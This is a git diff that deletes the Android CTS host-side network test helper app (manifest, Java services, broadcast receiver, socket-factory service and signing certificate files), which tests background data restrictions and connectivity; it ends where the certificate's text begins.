-    srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    certificate: ":cts-net-app",
-}
diff --git a/hostsidetests/net/app2/AndroidManifest.xml b/hostsidetests/net/app2/AndroidManifest.xml
deleted file mode 100644
index ad270b3..0000000
--- a/hostsidetests/net/app2/AndroidManifest.xml
+++ /dev/null
@@ -1,55 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.net.hostside.app2" >
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <!--
-         This application is used to listen to RESTRICT_BACKGROUND_CHANGED intents and store
-         them in a shared preferences which is then read by the test app. These broadcasts are
-         handled by 2 listeners, one defined the manifest and another dynamically registered by
-         a service.
-
-         The manifest-defined listener also handles ordered broadcasts used to share data with the
-         test app.
-
-         This application also provides a service, RemoteSocketFactoryService, that the test app can
-         use to open sockets to remote hosts as a different user ID.
-    -->
-    <application android:usesCleartextTraffic="true">
-        <activity android:name=".MyActivity" android:exported="true"/>
-        <service android:name=".MyService" android:exported="true"/>
-        <service android:name=".MyForegroundService" android:exported="true"/>
-        <service android:name=".RemoteSocketFactoryService" android:exported="true"/>
-
-        <receiver android:name=".MyBroadcastReceiver" >
-            <intent-filter>
-                <action android:name="android.net.conn.RESTRICT_BACKGROUND_CHANGED" />
-                <action android:name="com.android.cts.net.hostside.app2.action.GET_COUNTERS" />
-                <action android:name="com.android.cts.net.hostside.app2.action.GET_RESTRICT_BACKGROUND_STATUS" />
-                <action android:name="com.android.cts.net.hostside.app2.action.CHECK_NETWORK" />
-                <action android:name="com.android.cts.net.hostside.app2.action.SEND_NOTIFICATION" />
-                <action android:name="com.android.cts.net.hostside.app2.action.SHOW_TOAST" />
-                </intent-filter>
-        </receiver>
-    </application>
-
-</manifest>
diff --git a/hostsidetests/net/app2/res/drawable/ic_notification.png b/hostsidetests/net/app2/res/drawable/ic_notification.png
deleted file mode 100644
index 6ae570b..0000000
--- a/hostsidetests/net/app2/res/drawable/ic_notification.png
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java
deleted file mode 100644
index 351733e..0000000
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/Common.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside.app2;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-
-import com.android.cts.net.hostside.INetworkStateObserver;
-
-public final class Common {
-
-    static final String TAG = "CtsNetApp2";
-
-    // Constants below must match values defined on app's
-    // AbstractRestrictBackgroundNetworkTestCase.java
-    static final String MANIFEST_RECEIVER = "ManifestReceiver";
-    static final String DYNAMIC_RECEIVER = "DynamicReceiver";
-
-    static final String ACTION_RECEIVER_READY =
-            "com.android.cts.net.hostside.app2.action.RECEIVER_READY";
-    static final String ACTION_FINISH_ACTIVITY =
-            "com.android.cts.net.hostside.app2.action.FINISH_ACTIVITY";
-    static final String ACTION_SHOW_TOAST =
-            "com.android.cts.net.hostside.app2.action.SHOW_TOAST";
-
-    static final String NOTIFICATION_TYPE_CONTENT = "CONTENT";
-    static final String NOTIFICATION_TYPE_DELETE = "DELETE";
-    static final String NOTIFICATION_TYPE_FULL_SCREEN = "FULL_SCREEN";
-    static final String NOTIFICATION_TYPE_BUNDLE = "BUNDLE";
-    static final String NOTIFICATION_TYPE_ACTION = "ACTION";
-    static final String NOTIFICATION_TYPE_ACTION_BUNDLE = "ACTION_BUNDLE";
-    static final String NOTIFICATION_TYPE_ACTION_REMOTE_INPUT = "ACTION_REMOTE_INPUT";
-
-    static final String TEST_PKG = "com.android.cts.net.hostside";
-    static final String KEY_NETWORK_STATE_OBSERVER = TEST_PKG + ".observer";
-
-    static int getUid(Context context) {
-        final String packageName = context.getPackageName();
-        try {
-            return context.getPackageManager().getPackageUid(packageName, 0);
-        } catch (NameNotFoundException e) {
-            throw new IllegalStateException("Could not get UID for " + packageName, e);
-        }
-    }
-
-    static void notifyNetworkStateObserver(Context context, Intent intent) {
-        if (intent == null) {
-            return;
-        }
-        final Bundle extras = intent.getExtras();
-        if (extras == null) {
-            return;
-        }
-        final INetworkStateObserver observer = INetworkStateObserver.Stub.asInterface(
-                extras.getBinder(KEY_NETWORK_STATE_OBSERVER));
-        if (observer != null) {
-            try {
-                if (!observer.isForeground()) {
-                    Log.e(TAG, "App didn't come to foreground");
-                    observer.onNetworkStateChecked(null);
-                    return;
-                }
-            } catch (RemoteException e) {
-                Log.e(TAG, "Error occurred while reading the proc state: " + e);
-            }
-            AsyncTask.execute(() -> {
-                try {
-                    observer.onNetworkStateChecked(
-                            MyBroadcastReceiver.checkNetworkStatus(context));
-                } catch (RemoteException e) {
-                    Log.e(TAG, "Error occurred while notifying the observer: " + e);
-                }
-            });
-        }
-    }
-}
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java
deleted file mode 100644
index 286cc2f..0000000
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyActivity.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside.app2;
-
-import static com.android.cts.net.hostside.app2.Common.ACTION_FINISH_ACTIVITY;
-import static com.android.cts.net.hostside.app2.Common.TAG;
-import static com.android.cts.net.hostside.app2.Common.TEST_PKG;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-
-import com.android.cts.net.hostside.INetworkStateObserver;
-
-/**
- * Activity used to bring process to foreground.
- */
-public class MyActivity extends Activity {
-
-    private BroadcastReceiver finishCommandReceiver = null;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.d(TAG, "MyActivity.onCreate()");
-        Common.notifyNetworkStateObserver(this, getIntent());
-        finishCommandReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                Log.d(TAG, "Finishing MyActivity");
-                MyActivity.this.finish();
-            }
-        };
-        registerReceiver(finishCommandReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
-    }
-
-    @Override
-    public void finish() {
-        if (finishCommandReceiver != null) {
-            unregisterReceiver(finishCommandReceiver);
-        }
-        super.finish();
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        Log.d(TAG, "MyActivity.onStart()");
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.d(TAG, "MyActivity.onDestroy()");
-        super.onDestroy();
-    }
-}
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java
deleted file mode 100644
index aa54075..0000000
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyBroadcastReceiver.java
+++ /dev/null
@@ -1,267 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside.app2;
-
-import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
-
-import static com.android.cts.net.hostside.app2.Common.ACTION_RECEIVER_READY;
-import static com.android.cts.net.hostside.app2.Common.ACTION_SHOW_TOAST;
-import static com.android.cts.net.hostside.app2.Common.MANIFEST_RECEIVER;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_ACTION;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_ACTION_BUNDLE;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_ACTION_REMOTE_INPUT;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_BUNDLE;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_CONTENT;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_DELETE;
-import static com.android.cts.net.hostside.app2.Common.NOTIFICATION_TYPE_FULL_SCREEN;
-import static com.android.cts.net.hostside.app2.Common.TAG;
-import static com.android.cts.net.hostside.app2.Common.getUid;
-
-import android.app.Notification;
-import android.app.Notification.Action;
-import android.app.NotificationManager;
-import android.app.PendingIntent;
-import android.app.RemoteInput;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.SharedPreferences;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-import android.os.Bundle;
-import android.util.Log;
-import android.widget.Toast;
-
-import java.net.HttpURLConnection;
-import java.net.URL;
-
-/**
- * Receiver used to:
- * <ol>
- *   <li>Count number of {@code RESTRICT_BACKGROUND_CHANGED} broadcasts received.
- *   <li>Show a toast.
- * </ol>
- */
-public class MyBroadcastReceiver extends BroadcastReceiver {
-
-    private static final int NETWORK_TIMEOUT_MS = 5 * 1000;
-
-    private final String mName;
-
-    public MyBroadcastReceiver() {
-        this(MANIFEST_RECEIVER);
-    }
-
-    MyBroadcastReceiver(String name) {
-        Log.d(TAG, "Constructing MyBroadcastReceiver named " + name);
-        mName = name;
-    }
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.d(TAG, "onReceive() for " + mName + ": " + intent);
-        final String action = intent.getAction();
-        switch (action) {
-            case ACTION_RESTRICT_BACKGROUND_CHANGED:
-                increaseCounter(context, action);
-                break;
-            case ACTION_RECEIVER_READY:
-                final String message = mName + " is ready to rumble";
-                Log.d(TAG, message);
-                setResultData(message);
-                break;
-            case ACTION_SHOW_TOAST:
-                showToast(context);
-                break;
-            default:
-                Log.e(TAG, "received unexpected action: " + action);
-        }
-    }
-
-    @Override
-    public String toString() {
-        return "[MyBroadcastReceiver: mName=" + mName + "]";
-    }
-
-    private void increaseCounter(Context context, String action) {
-        final SharedPreferences prefs = context.getApplicationContext()
-                .getSharedPreferences(mName, Context.MODE_PRIVATE);
-        final int value = prefs.getInt(action, 0) + 1;
-        Log.d(TAG, "increaseCounter('" + action + "'): setting '" + mName + "' to " + value);
-        prefs.edit().putInt(action, value).apply();
-    }
-
-    static int getCounter(Context context, String action, String receiverName) {
-        final SharedPreferences prefs = context.getSharedPreferences(receiverName,
-                Context.MODE_PRIVATE);
-        final int value = prefs.getInt(action, 0);
-        Log.d(TAG, "getCounter('" + action + "', '" + receiverName + "'): " + value);
-        return value;
-    }
-
-    static String getRestrictBackgroundStatus(Context context) {
-        final ConnectivityManager cm = (ConnectivityManager) context
-                .getSystemService(Context.CONNECTIVITY_SERVICE);
-        final int apiStatus = cm.getRestrictBackgroundStatus();
-        Log.d(TAG, "getRestrictBackgroundStatus: returning " + apiStatus);
-        return String.valueOf(apiStatus);
-    }
-
-    private static final String NETWORK_STATUS_TEMPLATE = "%s|%s|%s|%s|%s";
-    /**
-     * Checks whether the network is available and return a string which can then be send as a
-     * result data for the ordered broadcast.
-     *
-     * <p>
-     * The string has the following format:
-     *
-     * <p><pre><code>
-     * NetinfoState|NetinfoDetailedState|RealConnectionCheck|RealConnectionCheckDetails|Netinfo
-     * </code></pre>
-     *
-     * <p>Where:
-     *
-     * <ul>
-     * <li>{@code NetinfoState}: enum value of {@link NetworkInfo.State}.
-     * <li>{@code NetinfoDetailedState}: enum value of {@link NetworkInfo.DetailedState}.
-     * <li>{@code RealConnectionCheck}: boolean value of a real connection check (i.e., an attempt
-     *     to access an external website.
-     * <li>{@code RealConnectionCheckDetails}: if HTTP output core or exception string of the real
-     *     connection attempt
-     * <li>{@code Netinfo}: string representation of the {@link NetworkInfo}.
-     * </ul>
-     *
-     * For example, if the connection was established fine, the result would be something like:
-     * <p><pre><code>
-     * CONNECTED|CONNECTED|true|200|[type: WIFI[], state: CONNECTED/CONNECTED, reason: ...]
-     * </code></pre>
-     *
-     */
-    // TODO: now that it uses Binder, it counl return a Bundle with the data parts instead...
-    static String checkNetworkStatus(Context context) {
-        final ConnectivityManager cm =
-                (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
-        // TODO: connect to a hostside server instead
-        final String address = "http://example.com";
-        final NetworkInfo networkInfo = cm.getActiveNetworkInfo();
-        Log.d(TAG, "Running checkNetworkStatus() on thread "
-                + Thread.currentThread().getName() + " for UID " + getUid(context)
-                + "\n\tactiveNetworkInfo: " + networkInfo + "\n\tURL: " + address);
-        boolean checkStatus = false;
-        String checkDetails = "N/A";
-        try {
-            final URL url = new URL(address);
-            final HttpURLConnection conn = (HttpURLConnection) url.openConnection();
-            conn.setReadTimeout(NETWORK_TIMEOUT_MS);
-            conn.setConnectTimeout(NETWORK_TIMEOUT_MS / 2);
-            conn.setRequestMethod("GET");
-            conn.setDoInput(true);
-            conn.connect();
-            final int response = conn.getResponseCode();
-            checkStatus = true;
-            checkDetails = "HTTP response for " + address + ": " + response;
-        } catch (Exception e) {
-            checkStatus = false;
-            checkDetails = "Exception getting " + address + ": " + e;
-        }
-        Log.d(TAG, checkDetails);
-        final String state, detailedState;
-        if (networkInfo != null) {
-            state = networkInfo.getState().name();
-            detailedState = networkInfo.getDetailedState().name();
-        } else {
-            state = detailedState = "null";
-        }
-        final String status = String.format(NETWORK_STATUS_TEMPLATE, state, detailedState,
-                Boolean.valueOf(checkStatus), checkDetails, networkInfo);
-        Log.d(TAG, "Offering " + status);
-        return status;
-    }
-
-    /**
-     * Sends a system notification containing actions with pending intents to launch the app's
-     * main activitiy or service.
-     */
-    static void sendNotification(Context context, String channelId, int notificationId,
-            String notificationType ) {
-        Log.d(TAG, "sendNotification: id=" + notificationId + ", type=" + notificationType);
-        final Intent serviceIntent = new Intent(context, MyService.class);
-        final PendingIntent pendingIntent = PendingIntent.getService(context, 0, serviceIntent,
-                notificationId);
-        final Bundle bundle = new Bundle();
-        bundle.putCharSequence("parcelable", "I am not");
-
-        final Notification.Builder builder = new Notification.Builder(context, channelId)
-                .setSmallIcon(R.drawable.ic_notification);
-
-        Action action = null;
-        switch (notificationType) {
-            case NOTIFICATION_TYPE_CONTENT:
-                builder
-                    .setContentTitle("Light, Cameras...")
-                    .setContentIntent(pendingIntent);
-                break;
-            case NOTIFICATION_TYPE_DELETE:
-                builder.setDeleteIntent(pendingIntent);
-                break;
-            case NOTIFICATION_TYPE_FULL_SCREEN:
-                builder.setFullScreenIntent(pendingIntent, true);
-                break;
-            case NOTIFICATION_TYPE_BUNDLE:
-                bundle.putParcelable("Magnum P.I. (Pending Intent)", pendingIntent);
-                builder.setExtras(bundle);
-                break;
-            case NOTIFICATION_TYPE_ACTION:
-                action = new Action.Builder(
-                        R.drawable.ic_notification, "ACTION", pendingIntent)
-                        .build();
-                builder.addAction(action);
-                break;
-            case NOTIFICATION_TYPE_ACTION_BUNDLE:
-                bundle.putParcelable("Magnum A.P.I. (Action Pending Intent)", pendingIntent);
-                action = new Action.Builder(
-                        R.drawable.ic_notification, "ACTION WITH BUNDLE", null)
-                        .addExtras(bundle)
-                        .build();
-                builder.addAction(action);
-                break;
-            case NOTIFICATION_TYPE_ACTION_REMOTE_INPUT:
-                bundle.putParcelable("Magnum R.I. (Remote Input)", null);
-                final RemoteInput remoteInput = new RemoteInput.Builder("RI")
-                    .addExtras(bundle)
-                    .build();
-                action = new Action.Builder(
-                        R.drawable.ic_notification, "ACTION WITH REMOTE INPUT", pendingIntent)
-                        .addRemoteInput(remoteInput)
-                        .build();
-                builder.addAction(action);
-                break;
-            default:
-                Log.e(TAG, "Unknown notification type: " + notificationType);
-                return;
-        }
-
-        final Notification notification = builder.build();
-        ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE))
-            .notify(notificationId, notification);
-    }
-
-    private void showToast(Context context) {
-        Toast.makeText(context, "Toast from CTS test", Toast.LENGTH_SHORT).show();
-        setResultData("Shown");
-    }
-}
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java
deleted file mode 100644
index ff4ba65..0000000
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyForegroundService.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside.app2;
-
-import static com.android.cts.net.hostside.app2.Common.TAG;
-import static com.android.cts.net.hostside.app2.Common.TEST_PKG;
-
-import android.R;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.os.RemoteException;
-import android.util.Log;
-
-import com.android.cts.net.hostside.INetworkStateObserver;
-
-/**
- * Service used to change app state to FOREGROUND_SERVICE.
- */
-public class MyForegroundService extends Service {
-    private static final String NOTIFICATION_CHANNEL_ID = "cts/MyForegroundService";
-    private static final int FLAG_START_FOREGROUND = 1;
-    private static final int FLAG_STOP_FOREGROUND = 2;
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        Log.v(TAG, "MyForegroundService.onStartCommand(): " + intent);
-        NotificationManager notificationManager = getSystemService(NotificationManager.class);
-        notificationManager.createNotificationChannel(new NotificationChannel(
-                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_DEFAULT));
-        switch (intent.getFlags()) {
-            case FLAG_START_FOREGROUND:
-                Log.d(TAG, "Starting foreground");
-                startForeground(42, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                        .setSmallIcon(R.drawable.ic_dialog_alert) // any icon is fine
-                        .build());
-                Common.notifyNetworkStateObserver(this, intent);
-                break;
-            case FLAG_STOP_FOREGROUND:
-                Log.d(TAG, "Stopping foreground");
-                stopForeground(true);
-                break;
-            default:
-                Log.wtf(TAG, "Invalid flag on intent " + intent);
-        }
-        return START_STICKY;
-    }
-}
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
deleted file mode 100644
index 590e17e..0000000
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/MyService.java
+++ /dev/null
@@ -1,193 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside.app2;
-
-import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
-
-import static com.android.cts.net.hostside.app2.Common.ACTION_RECEIVER_READY;
-import static com.android.cts.net.hostside.app2.Common.DYNAMIC_RECEIVER;
-import static com.android.cts.net.hostside.app2.Common.TAG;
-
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.os.IBinder;
-import android.os.RemoteException;
-import android.util.Log;
-
-import com.android.cts.net.hostside.IMyService;
-import com.android.cts.net.hostside.INetworkCallback;
-
-/**
- * Service used to dynamically register a broadcast receiver.
- */
-public class MyService extends Service {
-    private static final String NOTIFICATION_CHANNEL_ID = "MyService";
-
-    ConnectivityManager mCm;
-
-    private MyBroadcastReceiver mReceiver;
-    private ConnectivityManager.NetworkCallback mNetworkCallback;
-
-    // TODO: move MyBroadcast static functions here - they were kept there to make git diff easier.
-
-    private IMyService.Stub mBinder =
-        new IMyService.Stub() {
-
-        @Override
-        public void registerBroadcastReceiver() {
-            if (mReceiver != null) {
-                Log.d(TAG, "receiver already registered: " + mReceiver);
-                return;
-            }
-            final Context context = getApplicationContext();
-            mReceiver = new MyBroadcastReceiver(DYNAMIC_RECEIVER);
-            context.registerReceiver(mReceiver, new IntentFilter(ACTION_RECEIVER_READY));
-            context.registerReceiver(mReceiver,
-                    new IntentFilter(ACTION_RESTRICT_BACKGROUND_CHANGED));
-            Log.d(TAG, "receiver registered");
-        }
-
-        @Override
-        public int getCounters(String receiverName, String action) {
-            return MyBroadcastReceiver.getCounter(getApplicationContext(), action, receiverName);
-        }
-
-        @Override
-        public String checkNetworkStatus() {
-            return MyBroadcastReceiver.checkNetworkStatus(getApplicationContext());
-        }
-
-        @Override
-        public String getRestrictBackgroundStatus() {
-            return MyBroadcastReceiver.getRestrictBackgroundStatus(getApplicationContext());
-        }
-
-        @Override
-        public void sendNotification(int notificationId, String notificationType) {
-            MyBroadcastReceiver .sendNotification(getApplicationContext(), NOTIFICATION_CHANNEL_ID,
-                    notificationId, notificationType);
-        }
-
-        @Override
-        public void registerNetworkCallback(INetworkCallback cb) {
-            if (mNetworkCallback != null) {
-                Log.d(TAG, "unregister previous network callback: " + mNetworkCallback);
-                unregisterNetworkCallback();
-            }
-            Log.d(TAG, "registering network callback");
-
-            mNetworkCallback = new ConnectivityManager.NetworkCallback() {
-                @Override
-                public void onBlockedStatusChanged(Network network, boolean blocked) {
-                    try {
-                        cb.onBlockedStatusChanged(network, blocked);
-                    } catch (RemoteException e) {
-                        Log.d(TAG, "Cannot send onBlockedStatusChanged: " + e);
-                        unregisterNetworkCallback();
-                    }
-                }
-
-                @Override
-                public void onAvailable(Network network) {
-                    try {
-                        cb.onAvailable(network);
-                    } catch (RemoteException e) {
-                        Log.d(TAG, "Cannot send onAvailable: " + e);
-                        unregisterNetworkCallback();
-                    }
-                }
-
-                @Override
-                public void onLost(Network network) {
-                    try {
-                        cb.onLost(network);
-                    } catch (RemoteException e) {
-                        Log.d(TAG, "Cannot send onLost: " + e);
-                        unregisterNetworkCallback();
-                    }
-                }
-
-                @Override
-                public void onCapabilitiesChanged(Network network, NetworkCapabilities cap) {
-                    try {
-                        cb.onCapabilitiesChanged(network, cap);
-                    } catch (RemoteException e) {
-                        Log.d(TAG, "Cannot send onCapabilitiesChanged: " + e);
-                        unregisterNetworkCallback();
-                    }
-                }
-            };
-            mCm.registerNetworkCallback(makeWifiNetworkRequest(), mNetworkCallback);
-            try {
-                cb.asBinder().linkToDeath(() -> unregisterNetworkCallback(), 0);
-            } catch (RemoteException e) {
-                unregisterNetworkCallback();
-            }
-        }
-
-        @Override
-        public void unregisterNetworkCallback() {
-            Log.d(TAG, "unregistering network callback");
-            if (mNetworkCallback != null) {
-                mCm.unregisterNetworkCallback(mNetworkCallback);
-                mNetworkCallback = null;
-            }
-        }
-      };
-
-    private NetworkRequest makeWifiNetworkRequest() {
-        return new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
-                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return mBinder;
-    }
-
-    @Override
-    public void onCreate() {
-        final Context context = getApplicationContext();
-        ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE))
-                .createNotificationChannel(new NotificationChannel(NOTIFICATION_CHANNEL_ID,
-                        NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT));
-        mCm = (ConnectivityManager) getApplicationContext()
-                .getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
-    @Override
-    public void onDestroy() {
-        final Context context = getApplicationContext();
-        ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE))
-                .deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-        if (mReceiver != null) {
-            Log.d(TAG, "onDestroy(): unregistering " + mReceiver);
-            getApplicationContext().unregisterReceiver(mReceiver);
-        }
-
-        super.onDestroy();
-    }
-}
diff --git a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/RemoteSocketFactoryService.java b/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/RemoteSocketFactoryService.java
deleted file mode 100644
index b1b7d77..0000000
--- a/hostsidetests/net/app2/src/com/android/cts/net/hostside/app2/RemoteSocketFactoryService.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside.app2;
-
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.IBinder;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.util.Log;
-
-import com.android.cts.net.hostside.IRemoteSocketFactory;
-
-import java.net.Socket;
-
-
-public class RemoteSocketFactoryService extends Service {
-
-    private static final String TAG = RemoteSocketFactoryService.class.getSimpleName();
-
-    private IRemoteSocketFactory.Stub mBinder = new IRemoteSocketFactory.Stub() {
-        @Override
-        public ParcelFileDescriptor openSocketFd(String host, int port, int timeoutMs) {
-            try {
-                Socket s = new Socket(host, port);
-                s.setSoTimeout(timeoutMs);
-                return ParcelFileDescriptor.fromSocket(s);
-            } catch (Exception e) {
-                throw new IllegalArgumentException(e);
-            }
-        }
-
-        @Override
-        public String getPackageName() {
-            return RemoteSocketFactoryService.this.getPackageName();
-        }
-
-        @Override
-        public int getUid() {
-            return Process.myUid();
-        }
-    };
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return mBinder;
-    }
-}
diff --git a/hostsidetests/net/certs/Android.bp b/hostsidetests/net/certs/Android.bp
deleted file mode 100644
index ab4cf34..0000000
--- a/hostsidetests/net/certs/Android.bp
+++ /dev/null
@@ -1,4 +0,0 @@
-android_app_certificate {
-    name: "cts-net-app",
-    certificate: "cts-net-app",
-}
diff --git a/hostsidetests/net/certs/README b/hostsidetests/net/certs/README
deleted file mode 100644
index b660a82..0000000
--- a/hostsidetests/net/certs/README
+++ /dev/null
@@ -1,2 +0,0 @@
-# Generated with:
-development/tools/make_key cts-net-app '/CN=cts-net-app'
diff --git a/hostsidetests/net/certs/cts-net-app.pk8 b/hostsidetests/net/certs/cts-net-app.pk8
deleted file mode 100644
index 1703e4e..0000000
--- a/hostsidetests/net/certs/cts-net-app.pk8
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/net/certs/cts-net-app.x509.pem b/hostsidetests/net/certs/cts-net-app.x509.pem
deleted file mode 100644
index a15ff48..0000000
--- a/hostsidetests/net/certs/cts-net-app.x509.pem
+++ /dev/null
@@ -1,19 +0,0 @@
------BEGIN CERTIFICATE-----
